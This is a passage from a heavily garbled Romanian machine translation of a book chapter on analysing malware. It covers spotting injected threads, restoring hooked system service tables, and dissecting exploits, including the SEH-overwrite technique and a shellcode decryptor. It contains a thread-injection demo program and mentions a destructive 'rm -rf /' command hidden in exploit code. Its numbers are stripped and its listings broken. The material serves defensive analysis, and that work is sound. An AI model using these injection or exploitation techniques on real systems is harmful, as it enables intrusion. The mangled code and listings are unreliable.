fișierelor executabile sau ale bibliotecilor dinamice În PE Tools, în același scop, selectați procesul și selectați comanda Dump region din meniul contextual În același timp, pe ecran va apărea o casetă de dialog cu o hartă a memoriei - nu la fel de detaliată ca cea a lui OllyDbg, dar destul de suficientă pentru a rezolva problema noastră (Fig ) Pentru experimente ulterioare, avem nevoie de un program care creează o pereche de fire - mod „cinstit” și „necinstit” Codul sursă (tratarea erorilor și a altor excepții omise din motive de concizie) ar putea arăta ca Lista - Lista L Cod sursă pentru programul demonstrativ vajhread c compilat cu setările implicite #include #include // Cod pentru un fir care nu face altceva decât bucle thread(){în timp ce( );} pelvis p () { gol *p; // Variabilă multifuncțională // Creați un flux „cinstit” CreateThread( , ,(void*)&thread, x , ,&p); // Creați un fir necinstit la fel ca malware-ul // Alocați un bloc de memorie din heap, copiați acolo codul firului // și apelați CreateThread p = VirtualAllocfO, x , MEM COMMIT, PAGE EXECUTE READWRITE); memcpy(p,thread, x );CreateThread( , ,p, x , , &p); // Așteptați ca ENTER să fie apăsat primește(&p); Compilăm acest program, îl rulăm pentru execuție, mergem la SoftICE, dăm comanda thread -x (ieșim informații detaliate despre fire) și ne uităm la rezultat (Listing ) Lista Informații despre subiecte raportate de SoftICE (abreviat) FILET -x Informații extinse pentru firul KTEB CFDA TID: Proces: va thread(llC) Porniți EIPs KERNEL !SetUnhandledExceptionFilter+OOIA ( E C ) Stack utilizator: - Stack Ptr: FD Informații extinse pentru firul KTEB: TID: Proces: va thread(HC) Porniți EIP: KERNEL !CreateFileA+OOC ( E C ) Stivă utilizator: - Ptr stivă: FFFFFFFF Capitolul Detectarea, depanarea și dezasamblarea programelor rău intenționate Porniți EIR: Stiva de utilizatori: Informații extinse despre fir pentru firul C AC TID: KERNEL !CreateFileA+ C ( E C ) - Stack Ptr: Proces C: va thread(llC) FFFFFFFF Acesta este numărul! SoftICE nu a reușit să determine adevăratele adrese de început ale firelor de execuție, pierzându-se în măruntaiele KERNEL DLL Ei bine, haideți să încercăm un alt instrument, Process Explorer al lui Mark Russinovich (http://www microsoft com/tedmet/sysinternaIs/ProcessesAndThreads/ProcessExplorer mspx) Descărcați Process Explorer, rulați-l, plasați cursorul peste va thread exe, apoi în meniul contextual, selectați elementul Proprietăți și în caseta de dialog care se deschide, mergeți la fila Threads (Fig ) Orez De asemenea, utilitarul Process Explorer de la Mark Russinovich nu a reușit să determine adresa de pornire a fluxului ilegal Ce vedem? Adresele celor două fluxuri sunt corecte Primul: va thread exe+ xl , judecând după adresă, reprezintă firul principal (adresa se potrivește cu punctul de intrare, care este ușor de verificat în HIEW) Al doilea: va thread exe+ xl este un fir creat „cinstit” (care este din nou verificat de adresa din HIEW), dar al treilea - kernel dll+ xB - este un fir „ilegal”, doar adresa de început este definit gresit! Apelăm la OllyDbg pentru ajutor și încercăm să descoperim singuri situația, fără toate aceste farmece de automatizare și alte minuni ale progresului tehnic Prin conectarea la a Partea a V-a Săpare practică de cod procesați va thread exe, în meniul View, selectați elementul Thread și găsim nu trei (cum era de așteptat), ci patru fire (Listing - ) , Lista Informații despre patru fire oferite de OllyDbg Intrare Ident Bloc de date Ultima eroare Stare Prioritate C B FFDB ERROR SUCCESS Activ + FFDC ERROR SUCCESS Suspendat t- C FFDE ERROR SUCCESS Suspendat + FFDD ERROR SUCCESS Suspendat + Adresa de pornire (Entry) este definită doar pentru unul dintre firele de execuție - Ch, și chiar și acesta, probabil, servește pentru a lega procesul depanat cu OllyDbg Adresele de început ale celorlalte fire sunt setate la zero, dar nu este adevărat! Facem clic pe firul cu ID h (în mod firesc, ID-urile firului vor fi diferite data viitoare când programul este rulat) și obținem codul afișat în Lista - Judecând după harta memoriei, acest cod aparține imaginii paginii, prin urmare, acesta este un flux legal ; Lista Codul de flux h în imaginea paginii PUSH EUR V EU MOV EUR, ESP B MOV EAX, C TEST EAX, EAX А JE SHORT va threa Е С EB F JMP SHORT va threa Accesați fereastra stivei mutând cursorul în partea de jos În partea de jos a stivei vedem argumentul transmis fluxului (al doilea dword, în acest caz egal cu h) și adresa de pornire a fluxului, care se află în al treilea cuvânt dublu și în acest caz este egal cu h (Listing ) ) De fapt, în funcție de modul în care a fost creat fluxul, adresa de început poate fi atât în al treilea cât și în cel de-al doilea cuvânt, motiv pentru care utilitățile automate se confundă în citiri Lista În partea de jos a stivei de utilizator de fir h se află împreună adresa de început cu argumentul transmis FFDC FFFFFFFF Sfârșitul lanțului SEH FFE F SE manipulator FFE B KERNEL B FFE FFEC FFF FFF va threa ; adresa de pornire a fluxului h FFF ; adresa de început a firului h FFFC ; - partea de jos a stivei de utilizator FFFC ; curgere Este gata! Am învățat cum să determinăm rapid adresele de pornire ale fluxurilor, distingând în mod fiabil „legal” de „ilegal” Apropo, pentru a nu verifica cardul de memorie de fiecare dată, puteți folosi următorul truc Dacă atunci când faceți clic pe adresa de început din meniul contextual al OllyDbg, există o linie Follow in Disassembler, atunci aceasta aparține imaginii paginii (adică, fluxul legal) și, în consecință, invers (Fig ) Partea a V-a Săpărea codurilor practice Arreacapse Arreacapse abordare Afișează descărcarea ASCII Afișați depozitul UNICODE stiva de blocare Copiați în clipboard Ctrl+C Modifica Editați Ctrl+E Treci la ESP Mergeți la EBP Treci la expresie Apăsați DWORD Pop DWORD Căutați adresa Căutați șirul binar Ctrl+B ctrl+c ctrl+e ctrl+g FFTRdiJlM ——ifYaYaYaYaTtPizd Orez , Conținutul din partea de jos a stivei fluxului „legal” (stânga) și fluxului „ilegal” (dreapta), fluxul „ilegal” din meniul contextual nu are elementul Urmărire în dezasamblare din meniul contextual De fapt, este prea devreme pentru a sărbători victoria Malware inteligent ne poate păcăli cu ușurință Cel mai simplu este să schimbi adresa de început adevărată, astfel încât să indice în interiorul imaginii paginii procesului țintă În acest caz, adresa de început falsificată trebuie să coincidă cu începutul unei proceduri, altfel înșelăciunea va fi imediat expusă Programele rău intenționate și mai viclene folosesc o metodă complicată de injectare - găsesc o funcție în procesul țintă folosind prologul standard push evr / mov evr, esp ( h / Bh ECh) și inserează o tranziție (salt) la blocul alocat de la grămada în care se află corpul Malware-ul creează apoi un nou fir care începe cu jump și restabilește imediat conținutul original al funcției piratate, eliminând declarația jump și returnând prologul standard Există o altă opțiune - să încărcați o bibliotecă dinamică aparținând unui program rău intenționat în interiorul procesului și să începeți un fir nou în interiorul acesteia În toate aceste cazuri, analiza adresei de pornire nu va da niciun rezultat, iar introducerea codului rău intenționat va trece neobservată Pentru a fi % sigur, trebuie să urmăriți fiecare dintre fluxuri, verificându-le pentru loialitate Threadurile generate de programe malware pot spiona tastatura, pot deschide o ușă din spate, pot trimite cnâM-uri sau se pot implica în alte activități rău intenționate Problema este că există o mulțime de fire legale, iar programele moderne rău intenționate nu mai sunt scrise în assembler, ci, de exemplu, în Delphi, Visual Basic etc Prin urmare, o analiză completă necesită mult timp Cu toate acestea, așa cum am menționat mai devreme, malware-ul inteligent este o raritate și nimeni nu este implicat în falsificarea adreselor de început ale fluxurilor Recuperare SST Pentru a-și ascunde prezența în sistem, malware-ul se infiltrează adesea în nucleul sistemului și interceptează unul sau mai multe servicii, de exemplu, funcția NtQuerySystemInformation, a cărei importanță am menționat-o deja O dezasamblare a NTDLL DLL arată că majoritatea funcțiilor de nivel scăzut sunt implementate ca „plug-uri” la funcțiile kernel (Listing ), care sunt interfațate fie prin întreruperea int Eh (Windows N ) fie prin comanda mașinii sysenter (Windows XP) Și mai târziu) Capitolul Detectarea, depanarea și dezasamblarea programelor rău intenționate Lista , Funcția ZwQuerySystemInformation este de fapt un „plug” la serviciul de sistem b text: F BBD public ZwQuerySystemInformation text: F BBD ZwQuerySystemInformation proc aproape text: F BBD arg = octet ptr text: F BBD text: F BBD B mov eax, h ; NtQuerySystemInformation text: F BC D lea edx, [esp+arg ] text: F BC CD E int Eh text: F BC C retn lOh text: F BC ZwQuerySystemInformation endp Când este apelată o întrerupere, procesorul trece automat de la nivelul de aplicație (ring ) la modul kernel (ring ), transferând controlul către funcția KiSystemService implementată în interiorul NTOSKRNL EXE și bazată pe System Descriptor Table, cunoscut și sub numele de SDT ( Tabel de descrieri de sistem) De fapt, există doar doi descriptori în el - unul pentru apeluri de sistem, celălalt pentru driverul win k sys, unde întreaga interfață grafică a fost ascunsă (Fig ) Pe servere, este adăugat și un al treilea descriptor - IIS, al cărui scop este clar din numele său (în Windows XP și mai târziu cu funcțiile în care versiunile folosesc x = numărul de pointeri comanda SYSENTER) Orez , Mecanism de implementare a apelurilor de sistem Manipularea apelului de sistem indică către System Service Table (SST), care este o matrice simplă de indicatori de funcție care sunt foarte ușor de schimbat Desigur, acest lucru ar trebui făcut fie din modul kernel, fie de la nivelul aplicației, referindu-se la pseudo-dispozitivul PhysicalMemory Găsirea tabelului de apeluri de sistem în memorie este foarte ușoară „Fedăm” NTOSKRNL EXE la funcția LoadLibrary și, folosind descriptorul returnat de aceasta, determinăm adresa variabilei exportate KeServiceDescriptorTable prin GetProcAddress (sau analizam manual tabelul de export) Primul cuvânt dublu conține un indicator către SST, astfel încât adresa efectivă a serviciului de sistem necesar prin numărul său „magic” este determinată după cum urmează: addr == *(DWORD *)(KeServiceDescriptorTable[ ] + N*sizeof(DWORD) ), unde N este serviciul de numere și addr este adresa efectivă a acestuia Să demonstrăm această tehnică folosind SoftICE ca exemplu (Listing ) Partea a V-a Săpărea codurilor practice ; Lista L Protocolul SoftICE, care demonstrează cum să obțineți adresa sistemului; serviciu h *' ' :dd :d KeServiceDescnptorTable BC ,G G : AB D F :d D : D AB BF AE B BDEF B JkJ K ,P : E C F C FF C F ,L ,E ,P? •P : F B C A FC E ■XK tP unu :u *( D + * ) ntoskml „NtQuerySystemInformation : BF PUSH EBP : BF MOV EBP, ESP : BF PUSH FF : BF PUSH A : BF D PUSH ntoskml' except handler După cum puteți vedea, în acest caz, funcția NtQuerySysteminformation nu a fost interceptată de nimeni, ceea ce este foarte bine! Pentru a vizualiza conținutul SST în SoftICE, trebuie doar să lansați comanda ntcall Pe o mașină „sterilă”, toate apelurile indică în interiorul NTOSKRNL EXE, iar dacă nu, înseamnă că cineva le-a interceptat Poate fi fie un program rău intenționat, fie un driver complet inofensiv al unui fel de mecanism de protecție sau, de exemplu, un firewall Pentru a restabili SST, puteți utiliza copia sa stocată în NTOSKRNL EXE Adevărat, găsirea lui pe disc este mult mai dificilă decât în memorie Cel mai simplu mod este să utilizați simbolurile de depanare, care pot fi descărcate gratuit de la http://www microsoft com/whdc/devtools/debuggipg/symbolpkg mspx și biblioteca dbghelp dll, care face parte din programul gratuit Pachetul Instrumente de depanare Adresa SST corespunde etichetei KiServiceTable, în acest caz se află în fișier la D h (lista ) : Lista L , O copie a copiei Mmmwp a zdistemny bliad stocată în NTOSKRNUEXE data: D BF VZ A „KiServiceTable dd offset NtAcc^tCcmectPort@ data: DC B E A dd offset NtAccessCheck@ data: E F DE B dd offset NtAccessCheckAndAuditAlarrrta Și dacă nu există simboluri de depanare? Apoi găsim toate referințele încrucișate la KeServiceDescnptorTable (adică pur și simplu căutăm adresa sa, scrisă în big-endian pe platforma x ) Una dintre ele duce la o instrucțiune precum mov [mem], imm și este offset-ul SST-ului original (imm ) scris în KeServiceDescnptorTable [ ] După cum puteți vedea cu ușurință cu ajutorul unui dezasamblator, SDT este inițial gol (Listingul - ) și este inițializat în faza de pornire a nucleului de către funcția KiInitSystem neexportabilă data: AB ; Intrarea exportată KeServiceDescnptorTable data: AB public „KeServiceDescnptorTable data: AB „KeServiceDescnptorTable dd Capitolul Detectarea, depanarea și dezasamblarea programelor rău intenționate I \T[)AP\nto'skrnl w k\ntoskrnl exp IFfiO a PF JJ EI 'Hiew (c)SEN Nume offset ordinal - : s # Sunt înalt eu Orez , Căutarea SST în fișierul NTOSKRNL EXE folosind referințe încrucișate Procedura pentru găsirea SST folosind HIEW este prezentată în Fig , Dacă vi se pare că procedura de recuperare manuală este plictisitoare, puteți utiliza utilitarul gratuit Windows /XP SDT Restore de la Tan Chew Keong (http://www security org sg/code/sdtrestore), al cărui rezultat este afișat în Figura |C:\>sdstore SDTrestore Versiunea Proof-c >f-Concept de SIG~ G-TEC (www security org sg; KeServiceDescriptorTable DFA KeServiceDescriptorlable I Servit :elable B KeSeruiceDescriptorTable Servi iceLimit [ ZwAllocateVirtualMemory -[agățat de necunoscut la F CE ] - ZwCreateFile [agățat de necunoscut la F CA ] ZwCreateKey [agățat de necunoscut la F CC E] ZwCreateProcess [agățat de necunoscut la F CDB ] ZwDeleteFile [agățat de necunoscut la F C C ZwGetTickCount [agățat de necunoscut la F CE ] ZwLoadDriver [agățat de necunoscut la F CBF ZwQueryDirectoryFile D [agățat de necunoscut la F C E ] ZwQuerySystemInformation [agățat de necunoscut la F C ] ZwSetInformationFile [agățat de necunoscut la F C A ] Numărul de intrări din tabelul de servicii conectate = AVERTISMENT: ACESTA ESTE COD EXPERIMENTAL REPARAȚIA SDT-ului POATE AI CONSECINȚE GRAVE, cum ar fi PIERDEREA SISTEMULUI, PIERDEREA DATELOR SAU CORUPȚIA SISTEMULUI PROCEDEAZĂ PE PROPRIU RISC AI FOST AVERTIZAT Remediați intrările SDT (D/N)? : y [*] Intrarea SDT corectată la A F [*] Intrarea SDT corectată la EF [-] Intrarea SDT corectată la B [-] Intrarea SDT corectată la A [*] Intrarea SDT corectată la D [*] Patched intrarea SDT C la YY [*] Intrarea SDT corectată la DC [*] Intrarea SDT corecţionată D la [*] Intrarea SDT corectată la B B [-] Intrarea SDT C corectată la C Orez Rezultatul rulării utilitarului SDT Restore pe o mașină infectată cu malware Când utilizați SDT Restore, ar trebui să rețineți că au apărut deja rootkit-uri care îl pot ocoli În primul rând, pentru a găsi SST-ul original, utilitarul SDT Restore folosește o metodă simplă, dar nesigură, accesând KeServiceDescriptorTable[ ], pe care un program rău intenționat o poate înlocui (a se vedea http://hi-tech nsys by/ /) În al doilea rând, recuperarea SST în sine are loc din stratul de aplicație prin pseudo-dispozitivul PhysicalMemory, mapat pe memorie folosind funcția API nativă NtMapViewOfSection, care este ușor interceptată atât de la nivelul aplicației, cât și de la nivelul nucleului După o interceptare reușită, singurul lucru rămas pentru interceptor este să verifice dacă NtMapViewOfSection este apelat cu un handle PhysicalMemory și, dacă da, fie blocați accesul, fie simulează o restaurare fără a o face efectiv (vezi http://www rootkit com/newsread php? newsid= ) De asemenea, trebuie luat în considerare faptul că unele protecții sunt „atârnate” pe vectorii de întrerupere descriși în tabelul IDT și verificați serviciile interceptate, de exemplu, fiecare bifă a cronometrului Partea a V-a Săpărea codurilor practice Într-un IDT valid (care poate fi vizualizat cu comanda SoftICE cu același nume), toți vectorii indică în interiorul NTOSKRNL EXE sau HAL DLL (Listarea - ) :IDT Turul int IDTbase= IntG lntG IntG IntG Sel:Offset Limită= FF : E : : E : A E Attnbutes DPL= P DPL= P DPL= P DPL= P Simbol/Proprietar ntoskrnl'Kei EoiHelper+ ntoskrnl'Kei EoiHelper+ E ntoskrnl!Kei EoiHelper+ B În plus, programele rău intenționate pot seta la începutul (sau chiar la mijloc!) ale unor funcții ale nucleului o tranziție (zitr) la handlerul lor, care controlează integritatea SST/IDT interceptată Pentru a identifica o astfel de metodă de interceptare, este necesar să comparați imaginea nucleului cu fișierul NTOSKRNL EXE, ceea ce se poate face folosind utilitarul PE Tools cu pluginul eXtreme Dumper sau salvați memoria dump-ului direct din SoftICE însuși cu IceExt sau Extensii IceDump instalate Este de remarcat faptul că a doua abordare este mult mai fiabilă Auditul și dezasamblarea exploit-urilor Exploit-urile care demonstrează prezența unei găuri (dovada de concept) sunt de obicei distribuite în codul sursă, dar funcționalitatea principală este conținută în codul shell Analiza codului shell este o sarcină foarte netrivială care necesită o mentalitate inginerească, intuiție dezvoltată, cunoștințe extinse în domeniul programării în general și tehnici speciale de dezasamblare în special Aceste tehnici speciale de dezasamblare vor fi discutate în această secțiune Rapoartele de găuri apar tot timpul Aruncă o privire la http://www securityfocus com și vei fi îngrozit! Fiecare zi aduce - de noi găuri, care afectează aproape întregul spectru de hardware și software Folosiți în continuare FireFox și considerați acest browser sigur? Da, indiferent cum! În scurtul timp de existență, a reușit să dobândească nu mai puțin de cincizeci de găuri, inclusiv cele critice Și luați Opera - peste o sută de erori înregistrate numai pe site-ul Securityfocus! Citirea acestor informații vă eliberează rapid de iluzii și alte coji publicitare Vulnerabilitățile se găsesc chiar și în browserele bazate pe text, cum ar fi Lynx Despre Internet Explorer este mai bine să nu-ți amintești deloc! Este de mirare după aceea că viermii se înmulțesc cu viteza incendiului și distrug în mod regulat segmente întregi ale rețelei, dacă nu întregul Internet! Software-ul nu este de încredere Este un fapt! Lăsat în sine, fără grija și supravegherea administratorului, devine rapid o victimă a atacurilor hackerilor, transformându-se într-un teren propice pentru viruși și viermi Dacă vulnerabilitatea afectează acele componente ale sistemului de care, practic, puteți face fără (de exemplu, Message Queuing sau RPC DCOM), le puteți dezactiva sau le puteți proteja cu un firewall În caz contrar, trebuie să instalați un patch de la producătorul „nativ” sau de la furnizori terți Problema este că actualizările oficiale sunt adesea lansate la doar câteva luni după recunoașterea oficială a găurii Și câte găuri rămân „nerecunoscute”? Producătorii de software pot fi înțeleși: la urma urmei, înainte de a admite existența unei vulnerabilități, trebuie să vă asigurați că aceasta este într-adevăr o gaură de securitate și nu „viziunea autorului asupra funcționalității” și să obțineți o reproducere stabilă a eșecului Multe companii au o politică de a închide găurile, iar vulnerabilitatea fie este rezolvată în liniște odată cu lansarea următoarei versiuni a produsului (pachet de servicii cumulate), fie nu este remediată Capitolul Detectarea, depanarea și dezasamblarea programelor rău intenționate deloc! Un exemplu izbitor în acest sens este „vulnerabilitatea etichetei OBJECT MS IE (mshtml dll)” descoperită la aprilie (a se vedea http://lists grok org uk/pipermail/full-disclosure/ -April/ html și http://www cve mitre org/cgi-bin/cvename cgi?name=CVE- - ) Pentru ca administratorul să poată dormi liniștit și să nu se zvâcnească la fiecare cinci minute, încercând să găsească „ceva neobișnuit” în jurnalele firewall-ului, primul lucru de făcut este să afli dacă sistemul care i-a fost încredințat este cu adevărat vulnerabil? Nu toate rapoartele de găuri pot fi de încredere Conform practicii obișnuite, găurile descoperitoare trebuie să-și confirme cuvintele cu un program care demonstrează prezența unei vulnerabilități, dar nu face nimic distructiv În literatura străină, ele sunt numite exploatații proof-of-concept Vai, nu există un termen rusesc bine stabilit, așa că trebuie să folosiți ceea ce este Adesea, un exploit vine cu o listă de platforme testate și afectate și tot ce trebuie să faci este să rulezi exploit-ul pe sistemul tău și să vezi dacă îl poate gestiona sau nu Desigur, doar o sinucidere (sau o persoană incredibil de iresponsabilă) poate ataca un server „în direct” sau o stație de lucru principală, iar toate experimentele potențial periculoase ar trebui efectuate pe o „copie” a serverului/stației de lucru, special concepută pentru scopuri de testare Este mai bine să nu rulați exploit-uri sub VMware și alți emulatori de acest tip În primul rând, unele exploit-uri rău intenționate recunosc prezența mașinilor virtuale și refuză să funcționeze În al doilea rând, este foarte posibil să evadați din temnițele unei mașini virtuale, despre care va fi discutat în capitolul următor Un rezultat negativ în sine nu dovedește nimic Chiar dacă atacul eșuează, nu avem niciun motiv să credem că sistemul este în siguranță Poate că acesta este doar un exploit scris prost, dar dacă este ușor corectat, lista sistemelor afectate va crește considerabil Acest lucru este cu atât mai adevărat cu cât multe exploit-uri se bazează pe adrese fixe care variază de la versiune la versiune Prin urmare, de exemplu, un exploit dezvoltat pentru versiunea în limba engleză a Windows poate să nu funcționeze în rusă și, în consecință, invers Din păcate, nu toată lumea are o copie în oglindă a serverului, iar crearea lui necesită bani, timp etc Din aceste motive, destul de des, exploatările sunt lansate pe mașini „live” Dacă te hotărăști asupra unui act atât de disperat, atunci cel puțin studiază codul de exploatare, astfel încât să știi ce rulezi Pe parcurs, nu interferează cu eliminarea greșelilor făcute de dezvoltatorii exploit și adaptarea codului shell, corectând adresele fixe dacă este necesar În mod formal, administratorul nu trebuie să fie programator și nimeni nu are dreptul să-i ceară cunoștințe de asamblator, dar forțe de viață! Cum sunt disecate exploit-urile Codul principal de exploatare este de obicei scris într-un limbaj portabil de nivel înalt, cum ar fi C/C++, Perl, Python Exotice precum Ruby sunt mult mai rare, dar se întâmplă În termeni practici, aceasta înseamnă că un cercetător de coduri trebuie să cunoască o duzină de limbi populare, cel puțin la nivelul de citire fluentă a listelor Cu toate acestea, în nouă cazuri din zece, nu se găsește nimic interesant în ele, iar întreaga sarcină de luptă este concentrată în matrice de șiruri „magice” formate în stilul \x \x \xE \xC \x \xFC Acesta este codul shell în reprezentarea ASCII Codul de nivel înalt este doar un „înveliș” Figurat vorbind, codul de nivel înalt este un arc, iar codul shell este o săgeată Destul de mulți cercetători fac o greșeală fatală: atunci când analizează codul shell, ei uită că codul principal poate conține instrucțiuni rău intenționate precum rm -rf / Cu cunoașterea limbii, trucurile murdare de acest fel sunt detectate fără dificultate, cu excepția cazului în care, desigur, atacatorul nu a căutat să împiedice analiza Există multe modalități de a deghiza CODUL rău intenționat în constructe inofensive Luați MĂRÂIN linia $??S : ; S:S; ; $? ::S; ;=]=>%-{ pentru a comuta în modul dezasamblare, apăsați și introduceți adresa E (punctul indică că aceasta este adresa, nu offset-ul) Capitolul Detectarea, depanarea și dezasamblarea programelor rău intenționate Veți vedea codul afișat în Lista - E : F pop edit; Scoate un cuvânt dublu din stivă EA: E pop esi ; Scoateți următorul cuvânt dublu EB: SZ retn ; Împingeți adresa de retur și ; transfera controlul asupra acestuia Desigur, această metodă nu este universală și, în general, nesigură, deoarece într-o altă versiune a mqsvc exe adresa secvenței „magice” va fi cel mai probabil diferită Totuși, este de remarcat faptul că în Windows Note, Windows Professional, Windows Server/Advanced Server adresele sunt aceleași, deoarece se folosește aceeași versiune de mqsvc exe, dar în Windows XP adresa deja „plutește” În mod intuitiv, credem că controlul este transferat codului shell prin ret, dar rămâne neclar cum ar putea ajunge pointerul către codul shell pe stivă, deoarece nimeni nu l-a trimis în mod explicit acolo! Puteți introduce orice în buffer-ul debordant, dar va trebui să specificați adresa exactă a codului shell în memorie și pentru aceasta trebuie să cunoașteți valoarea registrului esp în momentul atacului, iar această valoare este în general necunoscut Excepțiile structurale oferă o soluție elegantă la această problemă În loc să suprascriem adresa de retur, așa cum a făcut un întreg cult al cercetătorilor de coduri, înlocuim cadrul SEH original al programului atacat cu al nostru Teoretic, cadrele SEH pot fi localizate oriunde, dar aproape toți compilatorii cunoscuți le plasează pe stivă (Fig ), în partea de sus a cadrului funcției, adică lângă erv salvat și instrucțiunea ret (Listing ) ; Lista Fragment dintr-o funcție care generează un nou cadru ȘEH (compilator - Microsoft text: D push ebp ; Deschide un nou text: Е mov ebp, esp ; cadru stiva text: push OFFFFFFFFh ; Acesta este ultimul cadru SEH text: push offset stru ; Managerul anterior SEH text: push offset excepthandler ; Noul handler SEH text: C mov eax, fs mare: ; Obțineți un pointer către cadrul SEH text: push eax ; Managerul anterior SEH text: mov large fs: , esp ; Înregistrează-te nou text: ; Cadru SEH Rezultă că dacă putem suprascrie adresa de retur, atunci înlocuirea cadrului SEH nu va fi o problemă! Structura cadrului în sine este pur și simplu primitivă (Listing ) Lista STRUCTURA ZENCHFRAMES struct EXCEPȚIE—ÎNREGISTRARE { /* h */ EXCEPTION REGISTRATION /* h */ DWORD *anterior; // Cadrul SEH anterior *handler; // Gestionarea excepțiilor Primul cuvânt dublu indică cadrul SEH anterior din lanț Dacă handlerul curent nu știe ce să facă cu excepția, îl aruncă înapoi la handlerul anterior; dacă niciunul dintre manageri nu poate gestiona excepția, atunci sistemul de operare aruncă celebrul mesaj de eroare critică și închide aplicația în modul de urgență Partea a V-a Săpărea codurilor practice Următorul cuvânt dublu conține adresa procedurii de gestionare a excepțiilor (a nu se confunda cu funcția de filtrare a excepțiilor, care este deservită nu de sistemul de operare, ci de compilator!) Este foarte tentant să scriem aici un pointer către codul shell, dar toată problema este că nu cunoaștem acest pointer și în cazul general nu putem afla! De fapt, situația nu este atât de gravă Să aruncăm o privire mai atentă asupra procesului de gestionare a excepțiilor În momentul în care codul aplicației încearcă să facă ceva ilegal, procesorul generează o întrerupere Sistemul de operare îl interceptează și îl transmite funcției interne KiUserExceptionDispatcher conținută în NTDLL DLL Aceasta, la rândul său, apelează funcția intermediară Rtlunwind (toate din același NTDLL DLL), trecând controlul filtrului de excepții instalat de compilator (în cazul Microsoft Visual C ++, această funcție se numește except handler ), care tora și apelează handlerul de aplicație înregistrat de programatorul de aplicații vulnerabil Cu alte cuvinte, se obține următorul lanț de apeluri (lista - ) NTDLL DLL!KiUserExceptionDispatcher -> NTDLL DLLÎRtlUnwind -> except handler Pe Windows , funcția NTDLL DLLÎRtlUnwind lasă ceva gunoi în registre, rezultând adresa cadrului SEH curent în evx Și asta înseamnă că, pentru a atinge scopul urmărit, trebuie să plasăm un pointer către comanda jmp ех (FFh E h) sau apel ех (FFh D h) deasupra handler-ului, care poate fi găsit atât în programul atacat în sine, cât și în memoria sistemului de operare Apoi, când apare o excepție, controlul o va face Desigur, adresa va „pluti” de la o versiune la alta, ceea ce este un rău necesar, dar trebuie să ne înțelegem cu asta Capitolul Detectarea, depanarea și dezasamblarea programelor rău intenționate transferat într-un cuvânt dublu care conține indicatorul prev Da Da! Nu prin indicatorul prezi, ci prin indicatorul în sine, care ar trebui înlocuit cu jmp short shell-code Deoarece instrucțiunile de ramificație sunt relative în procesoarele x , nu mai este necesar să se cunoască locația exactă a codului shell în memorie În Windows XP, această lacună a fost acoperită, dar! Funcția de filtru except handler rămâne, parte a compilatorului RTL și, prin urmare, nu depinde în niciun fel de sistemul de operare Luați în considerare vecinătatea codului dezasamblat care transferă controlul către handler înregistrat de programator (Listing - ) ; Lista L Fragment al funcției RTL ^axserve-bapsIIer care salvează un pointer către cadrul curent : SEH înainte de a apela handlerul de excepții text: Dl mov esi, [ebx+OCh] ; Indicator către cadrul SEH curent text: D mov edit, [ebx+ ] text: D text: D unknwn libname : ; COD XREF: unknwn libname l+ ij text: D crnp esi, OFFFFFFFFh ; Nu mai sunt procesoare? text: DA scurt unknwn libname ; Daca da, text: DA ; finalizam programul text: DC lea ecx, [esi+esi* ] text: DF emp dword ptr [edi+ecx* + ], text: E Z scurt unknwn libname ; Microsoft VisualC - /net text: E push esi ; Salvăm un indicator către cadru text: E push ebp ; Salvăm un indicator către cadru text: E lea ebp, [ebx+ h] •text: EB call dword ptr [edi+ecx* + ] ; handler de apeluri text: EB ; exceptii text: EF pop ebp ; Restaurarea cadrului text - F pop esi ; Restaurarea cadrului Înainte de a apela handler-ul de excepție, funcția salvează temporar un pointer către cadrul SEH curent de pe stivă (comandă push esi), care în momentul în care este apelat handler-ul va fi situat la offset + h Mai mult, este imposibil să remediați acest lucru prin intermediul sistemului de operare! Este necesar să rescrieți RTL-ul fiecărui compilator și să recompilați toate programele! Pentru a implementa atacul, este suficient să înlocuiți handlerul cu un pointer către pop reg / pop reg / ret sau să adăugați secvențe esp, / ret (care se găsesc adesea în epiloguri de funcții) și, ca înainte, scrieți salt pe codul shell din partea de sus a rge Prima comandă pop scoate din partea de sus a stivei adresa de retur deja inutilă lăsată de instrucțiunea de apel, a doua deschide registrul heb salvat și ret transferă controlul în cadrul SEH curent Acum structura matricei de offset devine mai mult sau mai puțin clară Vedem trei cadre SEH false, câte unul pentru fiecare sistem de operare, aranjate în memorie astfel încât să se potrivească cu cadrele SEH curente ale programului atacat Aceasta este cea mai capricioasă parte a exploit-ului, deoarece locația cadrelor depinde atât de versiunea programului atacat (adăugarea sau ștergerea variabilelor locale în interiorul funcției vulnerabile modifică distanța dintre cadru și buffer-ul debordant), cât și de versiunea inițială a programului atacat poziția stivei în momentul lansării programului (sistemul de operare este responsabil pentru aceasta) În plus, trebuie să vă asigurați că handlerul indică de fapt pop reg/pop reg/ret (adăugați esp, /ret) și nu altceva În caz contrar, exploit-ul nu va funcționa Dar, dacă toate valorile sunt alese corect, matricea bind shellcode va primi control, pe care acum vom încerca să-l dezasamblam Înainte de a continua cu dezasamblarea, este necesar să convertiți șirul ASCII în formă binară, astfel încât să poată fi „înghițit” de HIEW sau IDA Pro Partea a V-a Săpărea codurilor practice În loc să scriem programul de conversie de la zero, să profităm de compilatorul C scriind un program simplu (Listingul - ) care de fapt constă dintr-o singură linie (restul sunt declarații) Lista Un program care salvează o matrice ASCII shellcodefl într-un fișier binar cu același nume, potrivit pentru dezasamblare ttinclude char shellcode[]="\xXX\xXX\xXX\xXX"; // Ooda să mutăm matricea care urmează să fie convertită main()(FILE *f;if(f=fopen("shellcode","wb"))fwrite(shellcode,sizeof(shellcode), ,f);} Selectăm matricea bind shellcode și o copiem în programul nostru, redenumind-o în shellcode pe parcurs Compilați cu setările implicite și rulați Un fișier shellcode este generat pe disc, gata pentru a fi încărcat în IDA Pro sau HIEW (nu uitați să comutați dezasamblatorul în modul pe de biți!) Începutul listei de dezasamblare arată ca Lista '■ Listarea La începutul codului sfeli există un decriptor care decriptează restul codului : C sub ecx,ecx ; ECX:= : E B sub ecx, - ; EBX:= h : D EE fldz ; Încărcați + pe stiva FPU : D F fstenv [esp][ C] ; Salvați mediul FPU în memorie V: V pop ebx ; EBX := &fldz С: F xor d, [ebx][ ], F ooooooos; descifrați în cuvinte duble : EBFC sub ebx,- ; EBX += : următorul dublu : ; cuvânt : bucla E F OOOOOOOOS ( ) ; Învârtim ciclul : E F în ex, F ; comandă criptată A: EF out dx,eax ; comandă criptată Primele comenzi sunt mai mult sau mai puțin clare, dar apoi începe gunoiul explicit, precum instrucțiunile in și oit, care, atunci când încearcă să se execute în modul aplicație, ridică o excepție E ceva în neregulă aici! Fie punctul de intrare shellcode nu începe cu primul octet (dar acest lucru contrazice rezultatele cercetării noastre), fie shellcode este criptat Aruncând o privire mai atentă la primele opt comenzi, suntem încântați să găsim un 